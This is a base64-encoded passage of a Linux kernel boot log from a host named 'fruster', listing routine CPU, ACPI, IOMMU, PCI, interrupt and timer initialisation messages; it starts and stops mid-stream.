cwpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEluaXRpYWxpemluZyBjZ3JvdXAgc3Vi c3lzIGJsa2lvCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogSW5pdGlhbGl6aW5nIGNn cm91cCBzdWJzeXMgcGVyZl9ldmVudApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IElu aXRpYWxpemluZyBjZ3JvdXAgc3Vic3lzIG5ldF9wcmlvCkRlYyAgNCAxODoxNToyOCBmcnVzdGVy IGtlcm5lbDogQ1BVOiBQaHlzaWNhbCBQcm9jZXNzb3IgSUQ6IDAKRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiBDUFU6IFByb2Nlc3NvciBDb3JlIElEOiAwCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogbWNlOiBDUFUgc3VwcG9ydHMgOSBNQ0UgYmFua3MKRGVjICA0IDE4OjE1 OjI4IGZydXN0ZXIga2VybmVsOiBDUFUwOiBUaGVybWFsIG1vbml0b3JpbmcgZW5hYmxlZCAoVE0x KQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHVzaW5nIG13YWl0IGluIGlkbGUgdGhy ZWFkcy4KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJOiBDb3JlIHJldmlzaW9u IDIwMDkwOTAzCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogZnRyYWNlOiBjb252ZXJ0 aW5nIG1jb3VudCBjYWxscyB0byAwZiAxZiA0NCAwMCAwMApEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IGZ0cmFjZTogYWxsb2NhdGluZyAyMTQzOSBlbnRyaWVzIGluIDg1IHBhZ2VzCkRl YyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogZG1hcjogSG9zdCBhZGRyZXNzIHdpZHRoIDM2 CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogZG1hcjogRFJIRCBiYXNlOiAweDAwMDAw MGZlZDkwMDAwIGZsYWdzOiAweDEKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBkbWFy OiBJT01NVSAwOiByZWdfYmFzZV9hZGRyIGZlZDkwMDAwIHZlciAxOjAgY2FwIGM5MDA4MDIwNjYw MjYyIGVjYXAgZjAxMGRhCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogZG1hcjogUk1S UiBiYXNlOiAweDAwMDAwMGNkYjdhMDAwIGVuZDogMHgwMDAwMDBjZGI4YmZmZgpEZWMgIDQgMTg6 MTU6MjggZnJ1c3RlciBrZXJuZWw6IGRtYXI6IE5vIEFUU1IgZm91bmQKRGVjICA0IDE4OjE1OjI4 IGZydXN0ZXIga2VybmVsOiBJT0FQSUMgaWQgMiB1bmRlciBEUkhEIGJhc2UgMHhmZWQ5MDAwMApE ZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEhQRVQgaWQgMCB1bmRlciBEUkhEIGJhc2Ug MHhmZWQ5MDAwMApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEVuYWJsZWQgSVJRIHJl bWFwcGluZyBpbiB4MmFwaWMgbW9kZQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEVu YWJsaW5nIHgyYXBpYwpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEVuYWJsZWQgeDJh cGljCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogQVBJQyByb3V0aW5nIGZpbmFsaXpl ZCB0byBjbHVzdGVyIHgyYXBpYy4KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiAuLlRJ TUVSOiB2ZWN0b3I9MHgzMCBhcGljMT0wIHBpbjE9MiBhcGljMj0tMSBwaW4yPS0xCkRlYyAgNCAx ODoxNToyOCBmcnVzdGVyIGtlcm5lbDogQ1BVMDogSW50ZWwoUikgWGVvbihSKSBDUFUgRTMtMTIz MCBWMiBAIDMuMzBHSHogc3RlcHBpbmcgMDkKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVs OiBQZXJmb3JtYW5jZSBFdmVudHM6IFBFQlMgZm10MSssIFNhbmR5QnJpZGdlIGV2ZW50cywgSW50 ZWwgUE1VIGRyaXZlci4KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiAuLi4gdmVyc2lv bjogICAgICAgICAgICAgICAgMwpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IC4uLiBi aXQgd2lkdGg6ICAgICAgICAgICAgICA0OApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6 IC4uLiBnZW5lcmljIHJlZ2lzdGVyczogICAgICA0CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtl cm5lbDogLi4uIHZhbHVlIG1hc2s6ICAgICAgICAgICAgIDAwMDBmZmZmZmZmZmZmZmYKRGVjICA0 IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiAuLi4gbWF4IHBlcmlvZDogICAgICAgICAgICAgMDAw MDAwMDA3ZmZmZmZmZgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IC4uLiBmaXhlZC1w dXJwb3NlIGV2ZW50czogICAzCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogLi4uIGV2 ZW50IG1hc2s6ICAgICAgICAgICAgIDAwMDAwMDA3MDAwMDAwMGYKRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiBOTUkgd2F0Y2hkb2cgZW5hYmxlZCwgdGFrZXMgb25lIGh3LXBtdSBjb3Vu dGVyLgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEJvb3RpbmcgTm9kZSAgIDAsIFBy b2Nlc3NvcnMgICMxICMyICMzICM0ICM1ICM2ICM3IE9rLgpEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IEJyb3VnaHQgdXAgOCBDUFVzCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5l bDogVG90YWwgb2YgOCBwcm9jZXNzb3JzIGFjdGl2YXRlZCAoNTI2ODIuNjQgQm9nb01JUFMpLgpE ZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGRldnRtcGZzOiBpbml0aWFsaXplZApEZWMg IDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IFBNOiBSZWdpc3RlcmluZyBBQ1BJIE5WUyByZWdp b24gYXQgY2RjMDkwMDAgKDEyMDgzMjAgYnl0ZXMpCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtl cm5lbDogUE06IFJlZ2lzdGVyaW5nIEFDUEkgTlZTIHJlZ2lvbiBhdCBjZTgwOTAwMCAoMjc0NDMy IGJ5dGVzKQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHJlZ3VsYXRvcjogY29yZSB2 ZXJzaW9uIDAuNQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IE5FVDogUmVnaXN0ZXJl ZCBwcm90b2NvbCBmYW1pbHkgMTYKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJ IEZBRFQgZGVjbGFyZXMgdGhlIHN5c3RlbSBkb2Vzbid0IHN1cHBvcnQgUENJZSBBU1BNLCBzbyBk aXNhYmxlIGl0CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogQUNQSTogYnVzIHR5cGUg cGNpIHJlZ2lzdGVyZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBQQ0k6IE1DRkcg Y29uZmlndXJhdGlvbiAwOiBiYXNlIGY4MDAwMDAwIHNlZ21lbnQgMCBidXNlcyAwIC0gNjMKRGVj ICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBQQ0k6IE1DRkcgYXJlYSBhdCBmODAwMDAwMCBy ZXNlcnZlZCBpbiBFODIwCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogUENJOiBVc2lu ZyBNTUNPTkZJRyBhdCBmODAwMDAwMCAtIGZiZmZmZmZmCkRlYyAgNCAxODoxNToyOCBmcnVzdGVy IGtlcm5lbDogUENJOiBVc2luZyBjb25maWd1cmF0aW9uIHR5cGUgMSBmb3IgYmFzZSBhY2Nlc3MK RGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBiaW86IGNyZWF0ZSBzbGFiIDxiaW8tMD4g YXQgMApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEFDUEk6IEV4ZWN1dGVkIDEgYmxv Y2tzIG9mIG1vZHVsZS1sZXZlbCBleGVjdXRhYmxlIEFNTCBjb2RlCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogQUNQSSBFcnJvciAocHNhcmdzLTAzNTkpOiBbUkFNQl0gTmFtZXNwYWNl IGxvb2t1cCBmYWlsdXJlLCBBRV9OT1RfRk9VTkQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2Vy bmVsOiBBQ1BJIEV4Y2VwdGlvbjogQUVfTk9UX0ZPVU5ELCBDb3VsZCBub3QgZXhlY3V0ZSBhcmd1 bWVudHMgZm9yIFtSQU1XXSAoUmVnaW9uKSAoMjAwOTA5MDMvbnNpbml0LTM0NykKRGVjICA0IDE4 OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJOiBJbnRlcnByZXRlciBlbmFibGVkCkRlYyAgNCAx ODoxNToyOCBmcnVzdGVyIGtlcm5lbDogQUNQSTogKHN1cHBvcnRzIFMwIFMzIFM0IFM1KQpEZWMg IDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEFDUEk6IFVzaW5nIElPQVBJQyBmb3IgaW50ZXJy dXB0IHJvdXRpbmcKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJOiBQb3dlciBS ZXNvdXJjZSBbRk4wMF0gKG9mZikKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJ OiBQb3dlciBSZXNvdXJjZSBbRk4wMV0gKG9mZikKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2Vy bmVsOiBBQ1BJOiBQb3dlciBSZXNvdXJjZSBbRk4wMl0gKG9mZikKRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiBBQ1BJOiBQb3dlciBSZXNvdXJjZSBbRk4wM10gKG9mZikKRGVjICA0IDE4 OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJOiBQb3dlciBSZXNvdXJjZSBbRk4wNF0gKG9mZikK RGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJOiBObyBkb2NrIGRldmljZXMgZm91 bmQuCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogSEVTVDogVGFibGUgbm90IGZvdW5k LgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IFBDSTogVXNpbmcgaG9zdCBicmlkZ2Ug d2luZG93cyBmcm9tIEFDUEk7IGlmIG5lY2Vzc2FyeSwgdXNlICJwY2k9bm9jcnMiIGFuZCByZXBv cnQgYSBidWcKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJOiBQQ0kgUm9vdCBC cmlkZ2UgW1BDSTBdIChkb21haW4gMDAwMCBbYnVzIDAwLTNlXSkKRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiBwY2lfcm9vdCBQTlAwQTA4OjAwOiBob3N0IGJyaWRnZSB3aW5kb3cgW2lv ICAweDAwMDAtMHgwY2Y3XQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaV9yb290 IFBOUDBBMDg6MDA6IGhvc3QgYnJpZGdlIHdpbmRvdyBbaW8gIDB4MGQwMC0weGZmZmZdCkRlYyAg NCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpX3Jvb3QgUE5QMEEwODowMDogaG9zdCBicmlk Z2Ugd2luZG93IFttZW0gMHgwMDBhMDAwMC0weDAwMGJmZmZmXQpEZWMgIDQgMTg6MTU6MjggZnJ1 c3RlciBrZXJuZWw6IHBjaV9yb290IFBOUDBBMDg6MDA6IGhvc3QgYnJpZGdlIHdpbmRvdyBbbWVt IDB4MDAwZDgwMDAtMHgwMDBkYmZmZl0KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBw Y2lfcm9vdCBQTlAwQTA4OjAwOiBob3N0IGJyaWRnZSB3aW5kb3cgW21lbSAweDAwMGRjMDAwLTB4 MDAwZGZmZmZdCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpX3Jvb3QgUE5QMEEw ODowMDogaG9zdCBicmlkZ2Ugd2luZG93IFttZW0gMHgwMDBlMDAwMC0weDAwMGUzZmZmXQpEZWMg IDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaV9yb290IFBOUDBBMDg6MDA6IGhvc3QgYnJp ZGdlIHdpbmRvdyBbbWVtIDB4MDAwZTQwMDAtMHgwMDBlN2ZmZl0KRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiBwY2lfcm9vdCBQTlAwQTA4OjAwOiBob3N0IGJyaWRnZSB3aW5kb3cgW21l bSAweGQwMDAwMDAwLTB4ZmVhZmZmZmZdCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDog cGNpIDAwMDA6MDA6MDEuMDogUE1FIyBzdXBwb3J0ZWQgZnJvbSBEMCBEM2hvdCBEM2NvbGQKRGVj ICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDowMS4wOiBQTUUjIGRpc2Fi bGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MDEuMTogUE1F IyBzdXBwb3J0ZWQgZnJvbSBEMCBEM2hvdCBEM2NvbGQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIg a2VybmVsOiBwY2kgMDAwMDowMDowMS4xOiBQTUUjIGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MDYuMDogUE1FIyBzdXBwb3J0ZWQgZnJvbSBEMCBE M2hvdCBEM2NvbGQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDow Ni4wOiBQTUUjIGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAw MDA6MDA6MTQuMDogUE1FIyBzdXBwb3J0ZWQgZnJvbSBEM2hvdCBEM2NvbGQKRGVjICA0IDE4OjE1 OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDoxNC4wOiBQTUUjIGRpc2FibGVkCkRlYyAg NCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MTYuMDogUE1FIyBzdXBwb3J0 ZWQgZnJvbSBEMCBEM2hvdCBEM2NvbGQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBw Y2kgMDAwMDowMDoxNi4wOiBQTUUjIGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtl cm5lbDogcGNpIDAwMDA6MDA6MWEuMDogUE1FIyBzdXBwb3J0ZWQgZnJvbSBEMCBEM2hvdCBEM2Nv bGQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDoxYS4wOiBQTUUj IGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWIu MDogUE1FIyBzdXBwb3J0ZWQgZnJvbSBEMCBEM2hvdCBEM2NvbGQKRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDoxYi4wOiBQTUUjIGRpc2FibGVkCkRlYyAgNCAxODox NToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWMuMDogUE1FIyBzdXBwb3J0ZWQgZnJv bSBEMCBEM2hvdCBEM2NvbGQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAw MDowMDoxYy4wOiBQTUUjIGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDog cGNpIDAwMDA6MDA6MWMuNDogUE1FIyBzdXBwb3J0ZWQgZnJvbSBEMCBEM2hvdCBEM2NvbGQKRGVj ICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDoxYy40OiBQTUUjIGRpc2Fi bGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWMuNTogUE1F IyBzdXBwb3J0ZWQgZnJvbSBEMCBEM2hvdCBEM2NvbGQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIg a2VybmVsOiBwY2kgMDAwMDowMDoxYy41OiBQTUUjIGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWMuNjogUE1FIyBzdXBwb3J0ZWQgZnJvbSBEMCBE M2hvdCBEM2NvbGQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDox Yy42OiBQTUUjIGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAw MDA6MDA6MWQuMDogUE1FIyBzdXBwb3J0ZWQgZnJvbSBEMCBEM2hvdCBEM2NvbGQKRGVjICA0IDE4 OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDoxZC4wOiBQTUUjIGRpc2FibGVkCkRl YyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWYuMjogUE1FIyBzdXBw b3J0ZWQgZnJvbSBEM2hvdApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAw OjAwOjFmLjI6IFBNRSMgZGlzYWJsZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBw Y2kgMDAwMDowMDowMS4wOiBQQ0kgYnJpZGdlIHRvIFtidXMgMDEtMDFdCkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MDEuMTogUENJIGJyaWRnZSB0byBbYnVzIDAy LTAyXQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjA2LjA6IFBD SSBicmlkZ2UgdG8gW2J1cyAwMy0wM10KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBw Y2kgMDAwMDowMDoxYy4wOiBQQ0kgYnJpZGdlIHRvIFtidXMgMDQtMDRdCkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDU6MDAuMDogUE1FIyBzdXBwb3J0ZWQgZnJvbSBE MCBEMSBEMiBEM2hvdCBEM2NvbGQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kg MDAwMDowNTowMC4wOiBQTUUjIGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5l bDogcGNpIDAwMDA6MDA6MWMuNDogUENJIGJyaWRnZSB0byBbYnVzIDA1LTA1XQpEZWMgIDQgMTg6 MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjA2OjAwLjA6IFBNRSMgc3VwcG9ydGVkIGZy b20gRDAgRDNob3QgRDNjb2xkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAw MDA6MDY6MDAuMDogUE1FIyBkaXNhYmxlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6 IHBjaSAwMDAwOjAwOjFjLjU6IFBDSSBicmlkZ2UgdG8gW2J1cyAwNi0wNl0KRGVjICA0IDE4OjE1 OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowNzowMC4wOiBQTUUjIHN1cHBvcnRlZCBmcm9t IEQwIEQzaG90IEQzY29sZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAw OjA3OjAwLjA6IFBNRSMgZGlzYWJsZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBw Y2kgMDAwMDowMDoxYy42OiBQQ0kgYnJpZGdlIHRvIFtidXMgMDctMDddCkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDg6MDMuMDogUE1FIyBzdXBwb3J0ZWQgZnJvbSBE MiBEM2hvdCBEM2NvbGQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDow ODowMy4wOiBQTUUjIGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNp IDAwMDA6MDA6MWUuMDogUENJIGJyaWRnZSB0byBbYnVzIDA4LTA4XSAoc3VidHJhY3RpdmUgZGVj b2RlKQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaTAwMDA6MDA6IFJlcXVlc3Rp bmcgQUNQSSBfT1NDIGNvbnRyb2wgKDB4MWQpCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5l bDogcGNpMDAwMDowMDogQUNQSSBfT1NDIGNvbnRyb2wgKDB4MTgpIGdyYW50ZWQKRGVjICA0IDE4 OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0FdIChJ UlFzIDMgNCA1IDYgMTAgKjExIDEyIDE0IDE1KQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJu ZWw6IEFDUEk6IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5LQl0gKElSUXMgMyA0IDUgNiAqMTAgMTEg MTIgMTQgMTUpCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogQUNQSTogUENJIEludGVy cnVwdCBMaW5rIFtMTktDXSAoSVJRcyAzIDQgNSA2ICoxMCAxMSAxMiAxNCAxNSkKRGVjICA0IDE4 OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0RdIChJ UlFzICozIDQgNSA2IDEwIDExIDEyIDE0IDE1KQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJu ZWw6IEFDUEk6IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5LRV0gKElSUXMgMyA0IDUgNiAxMCAxMSAx MiAxNCAxNSkgKjAsIGRpc2FibGVkLgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEFD UEk6IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5LRl0gKElSUXMgMyA0IDUgNiAxMCAxMSAxMiAxNCAx NSkgKjAsIGRpc2FibGVkLgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEFDUEk6IFBD SSBJbnRlcnJ1cHQgTGluayBbTE5LR10gKElSUXMgMyA0IDUgNiAxMCAqMTEgMTIgMTQgMTUpCkRl YyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogQUNQSTogUENJIEludGVycnVwdCBMaW5rIFtM TktIXSAoSVJRcyAqMyA0IDUgNiAxMCAxMSAxMiAxNCAxNSkKRGVjICA0IDE4OjE1OjI4IGZydXN0 ZXIga2VybmVsOiB2Z2FhcmI6IGRldmljZSBhZGRlZDogUENJOjAwMDA6MDE6MDAuMCxkZWNvZGVz PWlvK21lbSxvd25zPWlvK21lbSxsb2Nrcz1ub25lCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtl cm5lbDogdmdhYXJiOiBsb2FkZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiB2Z2Fh cmI6IGJyaWRnZSBjb250cm9sIHBvc3NpYmxlIDAwMDA6MDE6MDAuMApEZWMgIDQgMTg6MTU6Mjgg ZnJ1c3RlciBrZXJuZWw6IFNDU0kgc3Vic3lzdGVtIGluaXRpYWxpemVkCkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogdXNiY29yZTogcmVnaXN0ZXJlZCBuZXcgaW50ZXJmYWNlIGRyaXZl ciB1c2JmcwpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHVzYmNvcmU6IHJlZ2lzdGVy ZWQgbmV3IGludGVyZmFjZSBkcml2ZXIgaHViCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5l bDogdXNiY29yZTogcmVnaXN0ZXJlZCBuZXcgZGV2aWNlIGRyaXZlciB1c2IKRGVjICA0IDE4OjE1 OjI4IGZydXN0ZXIga2VybmVsOiBQQ0k6IFVzaW5nIEFDUEkgZm9yIElSUSByb3V0aW5nCkRlYyAg NCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogTmV0TGFiZWw6IEluaXRpYWxpemluZwpEZWMgIDQg MTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IE5ldExhYmVsOiAgZG9tYWluIGhhc2ggc2l6ZSA9IDEy OApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IE5ldExhYmVsOiAgcHJvdG9jb2xzID0g VU5MQUJFTEVEIENJUFNPdjQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBOZXRMYWJl bDogIHVubGFiZWxlZCB0cmFmZmljIGFsbG93ZWQgYnkgZGVmYXVsdApEZWMgIDQgMTg6MTU6Mjgg ZnJ1c3RlciBrZXJuZWw6IEhQRVQ6IDggdGltZXJzIGluIHRvdGFsLCA1IHRpbWVycyB3aWxsIGJl IHVzZWQgZm9yIHBlci1jcHUgdGltZXIKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBo cGV0MDogYXQgTU1JTyAweGZlZDAwMDAwLCBJUlFzIDIsIDgsIDI1LCAyNiwgMjcsIDI4LCAyOSwg MApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGhwZXQwOiA4IGNvbXBhcmF0b3JzLCA2 NC1iaXQgMTQuMzE4MTgwIE1IeiBjb3VudGVyCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5l bDogU3dpdGNoaW5nIHRvIGNsb2Nrc291cmNlIGhwZXQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIg a2VybmVsOiBwbnA6IFBuUCBBQ1BJIGluaXQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVs OiBBQ1BJOiBidXMgdHlwZSBwbnAgcmVnaXN0ZXJlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBr ZXJuZWw6IHBucDogUG5QIEFDUEk6IGZvdW5kIDE1IGRldmljZXMKRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiBBQ1BJOiBBQ1BJIGJ1cyB0eXBlIHBucCB1bnJlZ2lzdGVyZWQKRGVjICA0 IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzeXN0ZW0gMDA6MDE6IFttZW0gMHhmZWQ0MDAwMC0w eGZlZDQ0ZmZmXSBoYXMgYmVlbiByZXNlcnZlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJu ZWw6IHN5c3RlbSAwMDowNTogW2lvICAweDA2ODAtMHgwNjlmXSBoYXMgYmVlbiByZXNlcnZlZApE ZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHN5c3RlbSAwMDowNTogW2lvICAweDEwMDAt MHgxMDBmXSBoYXMgYmVlbiByZXNlcnZlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6 IHN5c3RlbSAwMDowNTogW2lvICAweGZmZmZdIGhhcyBiZWVuIHJlc2VydmVkCkRlYyAgNCAxODox NToyOCBmcnVzdGVyIGtlcm5lbDogc3lzdGVtIDAwOjA1OiBbaW8gIDB4ZmZmZl0gaGFzIGJlZW4g cmVzZXJ2ZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzeXN0ZW0gMDA6MDU6IFtp byAgMHgwNDAwLTB4MDQ1M10gaGFzIGJlZW4gcmVzZXJ2ZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0 ZXIga2VybmVsOiBzeXN0ZW0gMDA6MDU6IFtpbyAgMHgwNDU4LTB4MDQ3Zl0gaGFzIGJlZW4gcmVz ZXJ2ZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzeXN0ZW0gMDA6MDU6IFtpbyAg 